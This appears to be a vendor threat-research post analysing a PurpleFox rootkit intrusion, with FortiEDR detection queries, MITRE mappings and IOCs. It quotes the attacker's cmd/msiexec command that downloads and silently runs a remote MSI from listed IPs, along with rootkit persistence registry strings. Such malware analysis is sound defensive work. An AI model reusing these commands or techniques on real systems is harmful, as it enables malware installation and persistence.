agat
Staff
Staff

Introduction

PurpleFox is a malware family that has been observed targeting Windows endpoints across the globe since at least 2017. PurpleFox was first discovered as an exploit kit targeting Internet Explorer with various privilege escalation exploits[1]. There has been a change in the distribution methods in recent times. The PurpleFox campaign is currently using brute-force of vulnerable services like SMB to spread across different machines. Research on previous PurpleFox malware campaigns identifies the inclusion of an opensource rootkit hidden[2] that was used to hide files and processes related to the rootkit behavior from the user. However, in our analysis of current samples we found that whilst rootkit functionality is still employed as part of the campaign, this project has been replaced with a rootkit driver file and one DLL file Another notable difference between the samples we have observed and previous reporting is the use of VMProtect for packing rootkit components. VMProtect is a tool designed to hinder analysis efforts by altering/preventing execution of an executable within a virtualized environment.

 

This article highlights how the FortiGuard Responder team identified an intrusion linked to this campaign, indicators associated with the campaign at this time and how FortiEDR provides protection from the installation and operation of this rootkit. It should be noted that the FortiGuard Responder team did not have visibility during initial access and were not able to gather sufficient artefacts to identify initial access prior to customer initiated remediation activities.  Figure 1 below shows overall execution sequence of the malware campaign.

 

agat_13-1661332609383.png

Figure 1. Attack flow diagram for analyzed PurpleFox campaign.

Initial Detection

FortiGuard Responder team identified this incident when FortiEDR was deployed in a new customer’s environment and several security events were generated in relation to anomalous ‘msiexec.exe’ activity. The process chain associated with the execution of the PNG file was highly anomalous with a cmd.exe child process spawning directly from Windows Session Manager (smss.exe).

 

Within Microsoft Windows the Session Manager process is responsible for creating new sessions. A session consists of all the processes and other system objects (windows and desktops) that represent a single user’s logon session. A desktop is a session-specific paged pool area and loads in the kernel memory space[3]. Some important points about the Session Manager (SMSS) service are:

  • SMSS starts two types of sessions; kernel-mode sessions and user-mode sessions
  • the kernel mode session is designed to run the underlying components of the OS
  • the user mode session controls user level components of the OS like the graphical display and anything the user directly operates
  • normally the first SMSS will spawn 1 x SMSS that spawns a 1 x CSRSS and 1 x SMSS that spawns 1 x winlogon
  • normal user processes like cmd spawn from this second SMSS which spawns winlogon as execution of this process should be driven by a user
  • even system level executions execute from the user context

agat_14-1661332609387.png

Figure 2. Process chain from SMSS to cmd.exe

 

In our case the process chain was smss.exe  → smss.exe  → wininit.exe  → lsass.exe  → cmd.exe (with malicious command line options) as shown in the Figure 1  . This is an abnormal process chain in two ways: Firstly, a non-user session is starting a user process which is a behavioral anomaly and secondly, a cmd.exe process has been directly started from the “SMSS” process  through the LSASS process which is as indicator typically associated with rootkit behavior.  

 

The command line arguments associated with this anomalous process are shown below:

 

 

 

 

 

 

cmd.exe /c for /d %i in (37.32.65[.]10:18851 23.106.215[.]42:12175 117.192.40[.]44:12550 ) do Msiexec /i http[:]//%i/C558B828.Png /Q

 

 

 

 

 

 

 

These IPs have been associated with previous campaigns that involved the distribution of malicious .moe files but have more recently been associated with campaigns that distribute .msi files (like those observed in our incident).   .

 

Indicator

ASN

VirusTotal engines Flagged Malicious

117.192.40[.]44

India, AS9829 (Bharat Sanchar Nigam Ltd)

3

23.106.215[.]42

United States, AS396190 (Leaseweb USA, Inc.)

7

37.32.65[.]10

Azerbaijan, AS57675 (Seabak LLC)

2

Table 1. IPs hosting PurpleFox msi files (C558B828.Png).

 

A modern endpoint detection and response (EDR) technology like FortiEDR should be capable of detecting and mitigating download of malicious script like this. This event is detected as malicious script execution as part of FortiEDR’s Execution Prevention policy.

 

The command highlighted above loops through the three <IP>:<port> combinations making a web request to <IP>:<port>/C558B828.png through the msiexec.exe executable. This is a legitimate Windows binary used to support the installation of software through msi packages. On successful connection to one of the <IP>:<port> pairs the command will download and execute a hosted msi file with a false extension of .png. The command line parameter /Q is used in this command to install the downloaded MSI package without any user interaction and hiding its installation window.

 

FortiEDR detects this download and execution attempt with the Suspicious Script Detected rule in the Execution Prevention security policy as shown in the Figure 3 below.

agat_15-1661332609390.jpeg

Figure 3. FortiEDR detected Malicious Script Execution associated with PurpleFox post-exploitation activity.

 

Closer analysis of the downloaded png file identified it was a MSI installer file. Then we started examining the file with a Microsoft tool called Orca. Orca shows multiple aspects of the MSI installer file including; which files are created by the installer and what types of scripts/commands are run once execution of the MSI file is complete.

 

Examination of the MSI payload file with Orca identified that it contained three packaged files that would be dropped on execution: sysupdate.log, winupdate32.log and winupdate64.log. Figure 4 below shows the files extracted from the MSI payload.

 

agat_16-1661332609392.png

Figure 4. Files extracted from MSI payload, screenshot taken from the Microsoft Orca tool.[4]

 

To validate expected behavior the MSI file was executed in a FortiEDR sandbox environment using the same msiexec parameters from the initial event (less the /Q (quiet) parameter).    Figure 5 below shows the windows installer running the malicious MSI payload and expected installer window.

 

agat_17-1661332609393.png

Figure 5. PurpleFox MSI payload running through Windows Installer

 

During execution the MSI payload copies the winupdate32.log or winupdate64.log into the C:\Windows folder as setupact32.log or setupact64.log respectively, depending upon the operating system was 32bit or 64-bit. (In our case OS was 64-bit so file copied was winupdate64.log). Though these copied files are named with the .log file extension, setupact32.log and setupact64.log are 32bit and 64bit PE DLL files respectively. Both of these DLL’s are packed with VMprotect to avoid debug and analysis in the virtual machine. The third file sysupdate.log is always copied to Windows folder regardless of the OS version and is also a PE DLL file.

 

Once the setupact32.log or setupact64.log files have been copied to the C:\Windows directory, the MSI installer then creates a registry entry to rename the copied file after reboot. The DLLs are renamed to ‘sens.dll’ and placed in the system folder. This is to support a type of sideloading attack which allows for the malicious DLL to be loaded by the SMSS process on system boot. This technique has been observed in previous versions of PurpleFox[5]. The registry key used for this file rename process was PendingFileRenameOperations and this registry entry tells Windows to rename the dropped files at next reboot. This method was likely adopted by the actor since it looks less suspicious to let Windows rename dropped files rather than dropper doing it directly. Additionally, by delaying the rename operations until reboot, user-mode monitoring of these key files is inhibited from detecting modifications as the operations will occur before user-mode monitoring is started.  PendingFileRenameOperations registry values are deleted by Windows automatically after corresponding rename actions are completed which could inhibit detection efforts. Upon investigation of the MSI file, we found three rename registry entries as shown below:

 

 

 

 

 

 

\??\[WindowsFolder]AppPatch\Acpsens.dll[~][~]\??\[SystemFolder]sens.dll[~]\??\[WindowsFolder]AppPatch\Acpsens.dll[~]\??\[SystemFolder]sens.dll[~][~]\??\[WindowsFolder]setupact32.log[~]\??\[SystemFolder]sens.dll



\??\[WindowsFolder]AppPatch\Acpsens.dll[~][~]\??\[System64Folder]sens.dll[~]\??\[WindowsFolder]AppPatch\Acpsens.dll[~]\??\[System64Folder]sens.dll[~][~]\??\[WindowsFolder]setupact64.log[~]\??\[System64Folder]sens.dll



\??\[WindowsFolder]AppPatch\Acpcscdll.dll[~][~]\??\[SystemFolder]cscdll.dll[~]\??\[WindowsFolder]AppPatch\Acpcscdll.dll[~]\??\[SystemFolder]cscdll.dll[~][~]\??\[WindowsFolder]setupact32.log[~]\??\[SystemFolder]cscdll.dll

 

 

 

 

 

 

 

 

Telemetry related to these registry modification events can be found with threat hunting module as shown in Figure 5 below.

 

agat_18-1661332609402.jpeg

Figure 6. File rename registry entry created by Malware

 

Following these registry changes the installer adds several firewall rules to the Windows firewall using various netsh.exe commands. Figure 6 shows the MSI payload execution and msiexec.exe spawning multiple netsh.exe to add the firewall rules to the windows. Most of these firewall rules are closing SMB ports (135,139,445) of the machine for both TCP and UDP protocols. Doing this malware seems to protect system from reinfection from same or other malware using similar SMB vulnerabilities.

agat_19-1661332609412.png

Figure 7. MSI payload executing netsh commands.

 

Details of these netsh commands and their intended function can be seen in the Table 2 below.

Commands

Description

netsh interface ipv6 install

Add new ipv6 interface

netsh ipsec static add policy name=qianye

Create a new policy named "qianye"

netsh ipsec static add filterlist name=Filter1

add one filterlist with name "Filter1"

netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP

add filter for destination TCP port 445 from any source IP

netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP

add filter for destination TCP port 135 from any source IP

netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP

add filter for destination TCP port 139 from any source IP

netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP

add filter for destination UDP port 445 from any source IP

netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP

add filter for destination UDP port 135 from any source IP

netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP

add filter for destination UDP port 139 from any source IP

netsh ipsec static add filteraction name=FilteraAtion1 action=block

add a filter action with name FilterAction1 and set action to "Block"

netsh ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1

Add rule with policy qianye having all rules from filterlist Filter1 and put action = FilterAtion1 (Block)

netsh ipsec static set policy name=qianye assign=y

Assign the policy (qianye) as the active firewall policy

Table 2. Netsh commands and description

 

These netsh commands can be found using the following threat hunting query:

 

 

 

 

 

 

Type:"Process Creation" AND Source.Process.Name:"msiexec.exe" AND Target.Process.Name:netsh.exe AND Target.Process.CommandLine:"ipsec static add"

 

 

 

 

 

 

 

Figure 8  below shows FortiEDR Threat Hunting process creation events from the above query that demonstrate the above expected behavior.

 

agat_20-1661332609431.png

Figure 8. Threat Hunting netsh firewall commands executed by malicious msi

 

Once the system is rebooted the malicious payload file setupact64.log or setupact32.log (depending on whether victim is 32 or 64 bit system) is renamed to sens.dll and copied to path C:\Windows\System32 due to the PendingFileRename operations.

 

When the Window operating system boots and starts the SMSS service the malicious sens.dll file is loaded as part of the System Event Notification Service. The root kit component of the malware hides the file MsA9E709B0App.dll (renamed setupact64.log file). Once hidden, this file cannot be directly accessed through Windows explorer or other command line file utilities. However, if we take a dump of the Windows Master File Table (MFT) we can find this file in the path C:\Windows\System32.  Figure 9   below shows a screenshot of MFT table showing the hidden MsA9E709B0App.dll file.

 

agat_21-1661332609438.png

Figure 9. Hidden DLL file listed in Windows MFT

The rootkit driver has name convention of dump_<8hex_character>.sys. The driver is loaded using registry entries in paths ‘HKEY_LOCAL_MACHINE\System\ControlSet001\Control\SafeBoot\Minimal\’ and ‘HKEY_LOCAL_MACHINE\System\ControlSet001\Control\SafeBoot\Network\’ with the driver name ‘dump_ <8hex_character>.sys’.

 

This entry loads the rootkit driver even if Windows is started in safe mode or safe mode with networking further inhibiting an analyst's ability to locate the rootkit and payload DLL files. Figure 10 below shows registry entry found after the malicious MSI installer has finished installation.

 

agat_22-1661332609440.png

Figure 10. Registry entry of Rootkit driver extracted through the RegistryChangesView tool by Nirsoft[6]

 

Following reboot the rootkit spawns a new fontdrvhost.exe process in the suspended state and then performs process hollowing. This hollowed process then requests a socket to listen on the local loopback address on port 19883. During our analysis, no incoming connections were observed to this open port. This may be because the VM (Virtual Machine) where this sample was executed did not have a public IP assigned to it. Regardless of these testing constraints, the process hollowing and injection behavior is blocked by the FortiEDR “Process Injection” and “Process Hollowing” rules under the Execution Prevention policy. Related events can be seen in the Figure 10 below:

 

agat_23-1661332609449.png

Figure 11. Rootkit listens on port 19883 for connections to localhost

 

In addition to the listening port opened on the infected host, FortiEDR also detected outbound communication from the hollowed fontdrvhost.exe process. The hollowed fontdrvhost.exe process was observed attempting to connect to multiple external and internal IP addresses on port 445. The IPs list was extensive and no established connections were observed during testing, the FortiGuard Responder team have not determined the significance of this activity although a sample of some of this behavior, detected by FortiEDR can be seen in  Figure 11 below.

 

agat_24-1661332609456.jpeg

Figure 12. Hollowed fontdrvhost.exe process attempted to establish a connection to multiple internal and external IP addresses on port 445.

 

In addition to the extensive port outbound 445 traffic a significant volume of outbound traffic was also observed to a number of remote IPs on fixed non-standard remote ports. WThese IPs were checked against Fortiguard Central Threat System (CTS) as were linked to known PurpleFox activity. These network connection can easily be observed in the threat hunting events shown in Figure 13 below and some information from CTS on these C2 IPs is shown below in Figure 14 below.

agat_25-1661332609461.png

Figure 13. FortiEDR Threat Hunting events linked to PurpleFOx C2 connections from the hollowed ‘fontdrvhost.exe’ process

 

When we checked these IP addresses in Fortiguard CTS then some of them were flagged as Malicious and tagged as Purplefox by CTS.

 

Indicator

ASN

103.74.136.117

India, AS24186 (RailTel Corporation of India Ltd.)

103.74.138.117

India, AS24186 (RailTel Corporation of India Ltd.)

111.198.16.157

China, AS4808 (China Unicom)

123.59.195.202

China, AS4808 (China Unicom)

45.32.134.122

United States, AS20473 (The Constant Company, LLC)

45.76.217.180

Japan, AS20473 (The Constant Company, LLC)

Figure 14. Information on C2 IPs related to hollowed fontdrvhost.exe network connections linked to PurpleFox activity

Conclusion:

 

As outlined in the analysis included as part of this article PurpleFox remains an effective rootkit that is still being actively employed in the wild. Despite PurpleFox being an evolving tool, FortiEDR continues to provide a wholistic defense against its installation and operation out of the box. As demonstrated in this article, even if the rootkit is installed, FortiEDR can detect and mitigate post-installation activity and prevent an adversary from using implant installed through PurpleFox to establish a foothold in a compromised network. Outlined below are FortiEDR Threat Hunting queries that can be used to build additional targeted detections of potential PurpleFox activity using FortiEDR telemetry

 

Threat Hunting

 

The following queries will identify file creation events for files created by the msiexec.exe process matching the filenames observed in the above analyzed PurpleFox sample:

 

 

 

 

 

 

Type:"File Create" Source.Process.Name:msiexec.exe AND (Target.File.Name:"setupact32.log" OR Target.File.Name:"setupact64.log")

 

 

 

 

 

 

 

The following query will identify value created events for registry values in the PendingFileRenameOperations registry key related to the above PurpleFox activity:

 

 

 

 

 

 

 

Type:"Value Created" AND Source.Process.Name:"msiexec.exe" AND Registry.Name:"PendingFileRenameOperations" AND (Registry.Data:"setupact32.log" OR Registry.Data:"setupact64.log")  

 

 

 

 

 

 

 

The following query can be used to identify potential attempts to modify the ‘Acpsens.dll’ or ‘sens.dll’ files through the PendingFileRenameOperations function, implemented through registry changes. This technique is used to install a rootkit as part of PurpleFox but this technique is not specific to PurpleFox. This is a high confidence query.

 

 

 

 

 

 

 

Type:"Value Created" AND Source.Process.Name:"msiexec.exe" AND Registry.Name:"PendingFileRenameOperations" AND (Registry.Data:"Acpsens.dll" OR Registry.Data:"sens.dll")

 

 

 

 

 

 

 

The following query will return process creation events for msiexec.exe processes containing command line arguments indicative of the above outlined PurpleFox sample. This query is high confidence and low false positive given that the png file extension is not typically used for msi files that would be requested by legitimate msiexec activity:

 

 

 

 

 

 

Type:"Process Creation" AND Target.Process.Name:"msiexec.exe" AND Target.Process.CommandLine:"*C558B828.Png*"

 

 

 

 

 

 

 

The following query will identify FortiEDR Process Creation events related to msiexec processes that include http in their command line. This is indicative of proxy execution and the use of msiexec to access an externally hosted payload. :

 

 

 

 

 

 

Type:"Process Creation" AND Target.Process.Name:"msiexec.exe" AND Target.Process.CommandLine:"*http*"

 

 

 

 

 

 

 

The following query will return socket connect events related to analyzed PurpleFox malware communicating with malicious IP addresses. Note that this only reflects C2 for the current analyzed sample:

 

 

 

 

 

 

Type:"Socket Connect" AND Source.Process.Name: "fontdrvhost.exe" AND RemoteIP:(103.74.138.117 OR 111.198.16.157 OR 123.59.195.202)

 

 

 

 

 

 

 

MITRE ATT&CK

 

TA0002 - Execution

Technique ID

Technique Description

Observed Activity

T1059.003

Command and Scripting Interpreter: Windows Command Shell

A MSI file with .png extension is downloaded and executed through cmd.exe for initial execution.

 

TA0005 - Defense Evasion

Technique ID

Technique Description

Observed Activity

T1622

Debugger Evasion

Malware DLL is packed with VMprotect to avoid debug in Virtual Environment

T1218

System Binary Proxy Execution

Malware executes primary by passing it as parameter to msiexec.exe (which is Microsoft Windows legit file)

T1218

System Binary Proxy Execution

The Rootkit does proxy execution through process injection in the fontdrvhost.exe (which is Microsoft Windows legitimate file)

T1112

Modify Registry

Malware creates new registry entry in order to remove files and rename the rootkit files

T1014

Rootkit

Malware drops and installs Purple Fox rootkit.

T1055.012

Process Hollowing

Malware executes fontdrvhost.exe and then does process hollowing to change code of process.

 

IOCs

 

Indicator Description

Indicator

Indicator Type

Associated Tactic

First Submission
Date

Notes

Downloader MSI script

7754970469c396bc369e2b8d39e67f319ef28ed2

SHA1 Hash

Impact

2021-05-08

Initial payload which is downloaded as .PNG extension file and executed using msiexec.exe

extracted file from MSI payload

1e4b2d3b8e19a7ac2b47cf7ab7e406e3c62a5fd1

SHA1 Hash

Impact

2021-05-20

sysupdate.log file which is packed in the primary MSI payload of Purplefox Malware campaign

extracted file from MSI payload

27c4599a2cf7ce739ba967d03c308bac217e2ee8

SHA1 Hash

Impact

2021-05-05

winupdate32.log file which is packed in the primary MSI payload of Purplefox Malware campaign, later renamed as DLL file by Malware

extracted file from MSI payload

5fc84fb8a1052c66c3456b39ff0b2f1ba30bac01

SHA1 Hash

Impact

2021-05-05

winupdate64.log file which is packed in the primary MSI payload of Purplefox Malware campaign, later renamed as DLL file by Malware

Malware Download IP

37.32.65[.]10

IP V4 Address

Impact

N/A

IP address from which the Malware tries to download primary MSI payload

Malware Download IP

23.106.215[.]42

IP V4 Address

Impact

N/A

IP address from which the Malware tries to download primary MSI payload

Malware Download IP

117.192.40[.]44

IP V4 Address

Impact

N/A

IP address from which the Malware tries to download primary MSI payload

Malware C2

103.74.138[.]117

IP V4 Address

Impact

N/A

C2 IP address to which the Malware tries to communicates

Malware C2

111.198.16[.]157

IP V4 Address

Impact

N/A

C2 IP address to which the Malware tries to communicates

Malware C2

123.59.195[.]202

IP V4 Address

Impact

N/A

C2 IP address to which the Malware tries to communicates

Malware C2

103.74.136[.]117

IP V4 Address

Impact

N/A

C2 IP address to which the Malware tries to communicates

Malware C2

45.32.134[.]122

IP V4 Address

Impact

N/A

C2 IP address to which the Malware tries to communicates

Malware C2

45.76.217[.]180

IP V4 Address

Impact

N/A

C2 IP address to which the Malware tries to communicates

 

 

 

 

[1] https://threatresearch.ext.hp.com/purple-fox-exploit-kit-now-exploits-cve-2021-26411/

 

[2] https://github.com/JKornev/hidden/releases

[3] https://techcommunity.microsoft.com/t5/ask-the-performance-team/sessions-desktops-and-windows-statio...

 

[4] https://docs.microsoft.com/en-us/windows/win32/msi/orca-exe

[5] https://www.trendmicro.com/en_no/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html

[6] https://www.nirsoft.net/utils/registry_changes_view.html